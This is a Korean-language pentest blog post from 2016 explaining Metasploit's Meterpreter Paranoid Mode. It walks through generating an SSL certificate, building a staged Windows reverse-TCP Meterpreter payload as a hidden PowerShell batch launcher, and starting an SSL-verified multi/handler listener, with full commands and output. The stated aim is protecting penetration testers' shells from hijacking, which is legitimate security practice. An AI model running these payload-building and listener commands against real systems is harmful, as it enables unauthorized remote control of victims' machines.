7/13/2016

[METASPLOIT] Meterpreter Paranoid Mode - SSL Certified Meterpreter shell


최근에 기사를 보다보니 좀 여러가지 생각을 하도록 만드는 기사가 있었습니다.
바로 모의해킹 때문에 더 위험할 수 있다, 이런 내용의 기사였는데요. 뒷처리가 깔끔하지 않다면 정말 훨씬 위험한 상황을 만들수도 있단 생각이 드네요.

오늘은 조금 더 안전한 Pentest를 위해서 Shell, 즉 공격에 사용되는 shell의 payload 정보를 암호화하고 안전하게 pentest를 하기 위한 장치에 대해 알아볼까 합니다.

사실상 Meterpreter shell의 기능 중 하나인 Paranoid Mode 에 대한 이야기입니다.


Why?

오늘의 포스팅은 다른 기술적인 포스팅과는 약간 다르게 기사에서 영감을 많이 받아 작성하게 되었습니다. 서론에서도 말씀드렸듯이 침투테스터의 pc나 네트워크 환경은 공격 받았을 때 굉장히 리스크가 큰 것 같습니다.

공격자가 타겟 시스템에 접근을 하거나 Pentest 과정중에서 발생하는 정보, 공격 등은 아주 위험하고 민감한 데이터들입니다.

이런 공격 과정이나 pentest를 진행하는 보안전문가의 pc가 공격 당할 때 상황이 굉장히 안좋아질 수 있다는 이야기입니다.

예를들어 공격자가 어떤 시스템에 취약점을 가지고 Bind shell을 심는다면 그 트래픽을 감청한 다른 공격자는 노력하지 않고도 그 shell을 가져갈 수도 있게되지요. 또한 침투테스터를 식별할 수 있는 데이터를 주지 않은 상황에서 침투테스트 시 실제 공격자와 침투테스터를 구별하기 까다롭습니다. 그러기 때문에 공격코드의 안전함을 위해서는 보안까지 설계된 공격이 필요할 것 같습니다.

그래서 meterpreter shell의 기능 중 paranoid mode, 즉 안전한 공격 환경을 만들어주는 이 모드에 대해 풀어나가려고 합니다.

Meterpreter shell

혹여나 Meterpreter에 대해 모르시는 분도 있을 수 있으니 간단하게 설명하고 Paranoid mode 에 대해 보는게 좋을 것 같아서 넣었습니다.

Meterpreter는 Metasploit에서 사용되는 Shell(Bind/Reverse)이며 다양한 플랫폼에 맞게 변형이 가능하고 Hacker/Pentester에게는 정말 유용한 기능, 스크립트, 확장성을 가진 만능 쉘입니다. 저도 개인적으로 아주 자주 사용하고 있고 동작 자체가 Memeory 단에서 활동하기 때문에 탐지도 까다롭습니다.

오늘은 paranoid mode에 대해 하는것이니 여기까지 소개하고 아직 meterpreter가 잘 모르겠다면 아래 링크(metasploit-unleashed) 참고하시기 바랍니다.

metasploit-unleashed
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

meterpreter 관련해서 따로 궁금한거는 저에게 연락주시면 답변해드리겠습니다.

Paranoid Mode?

오늘의 핵심 컨텐츠인 Paranoid mode 입니다.
딱 간단하게 줄여서 말씀드리면 아래와 같습니다.

"
안전한 공격을 위해 SSL이 적용된 Shell
"


Paranoid mode는 기존 Meterpreter shell에  SSL Certified가 적용된 모드입니다.
그래서 다른 악의적인 공격자가 Shell 파일, Payload를 탈취하여도 그걸 통해 또 다른 공격을 만들어낼 수 없도록하는게 Paranoid mode 입니다.


Paranoid Mode 1 - Create a SSL/TLS Cert


먼저 openssl로 key, crt 파일을 생성해줍니다.
#> openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=test" -keyout test.key -out test.crt
..snip..
-----BEGIN CERTIFICATE-----
MIIFbzCCA1egAwIBAgIJAIsnaKV1Ny7aMA0GCSqGSIb3DQEBCwUAME4xCzAJBgNV
BAYTAmtyMQ0wCwYDVQQIDAR0ZXN0MQ0wCwYDVQQHDAR0ZXN0MSEwHwYDVQQKDBhJ
bnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTYwNzEyMDMwMzE5WhcNMTcwNzEy
...

그다음 key와 crt 파일을 가지고 pem 파일을 만들어 줍니다.
#> cat test.key test.crt > test.pem

한줄로 정리하면 아래와 같네요.

#> openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=test" -keyout test.key -out test.crt && cat test.key  test.crt > test.pem && rm -f test.key test.crt

그러면 test.pem 파일이 생성됩니다. 우리가 암호화할 때 사용할 SSL 인증서를 생성해둔 과정입니다.

Paranoid Mode 2 - Create a Paranoid Payload

두번째로 paranoid mode를 통해 암호화된 payload를 만들 차례입니다.
아래 hvenom 명령은 msfvenom 명령으로 보시면 됩니다.

#> hvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./test.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o launch-paranoid.bat

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: launch-paranoid.bat

우와 같이 명령을 주면 -o 으로 지정해준 .bat 파일이 떨어집니다. (windows target 기준)
#> ll
합계 24
drwxr-xr-x  2 hahwul hahwul 4096  7월 12 22:12 .
drwxr-xr-x 60 hahwul hahwul 4096  7월 12 22:12 ..
-rw-r--r--  1 root root 6255  7월 12 22:12 launch-paranoid.bat
-rw-r--r--  1 root root 5228  7월 12 22:06 test.pem

cat 으로 생성된 bat 파일을 보면 powsershell을 이용해서 암호화된 payload를 실행하는 것을 알 수 있습니다.

#> cat launch-paranoid.bat 

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA
0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH
...

Paranoid Mode 3 - Run Paranoid Listener

마지막으로 암호화된 웰을 받아줄 listener, 즉 handler도 설정해줘야합니다.

hahwul auxiliary(test) #> use exploit/multi/handler 
hahwul exploit(handler) #> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
hahwul exploit(handler) #> set LHOST 192.168.0.8
LHOST => 192.168.0.8
hahwul exploit(handler) #> set LPORT 443
LPORT => 443
hahwul exploit(handler) #> set HandlerSSLCert ./test.pem
HandlerSSLCert => ./test.pem
hahwul exploit(handler) #> set IgnoreUnknownPayloads true
IgnoreUnknownPayloads => true
hahwul exploit(handler) #> set StagerVerifySSLCert true;
StagerVerifySSLCert => true;

hahwul exploit(handler) #> run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.8:443

아니면 아래 명령행 처럼 msfconsole 을 통해 인자값으로도 주어도 됩니다.

#> msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.8; set LPORT 443; set HandlerSSLCert ./test.pem; set IgnoreUnknownPayloads true; set StagerVerifySSLCert true; run -j'

이러면 이제 handler는 대기상태가 되고 exploit에 성공한 payload는 정상적으로 handler와 연결되게 됩니다. 그러나 암호화된 상태에서 말이죠 :)

맺음말

아주 간단한 설정이면 쉽게 암호화된 meterpreter shell을 사용할 수 있습니다.
오늘의 포스팅은 여기까지고 궁금하신점은 언제든지 편하게 말씀해주세요.

Reference

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

1 comment:

  1. 글 잘 읽고 있습니다.좋은 정보 감사드립니다

    ReplyDelete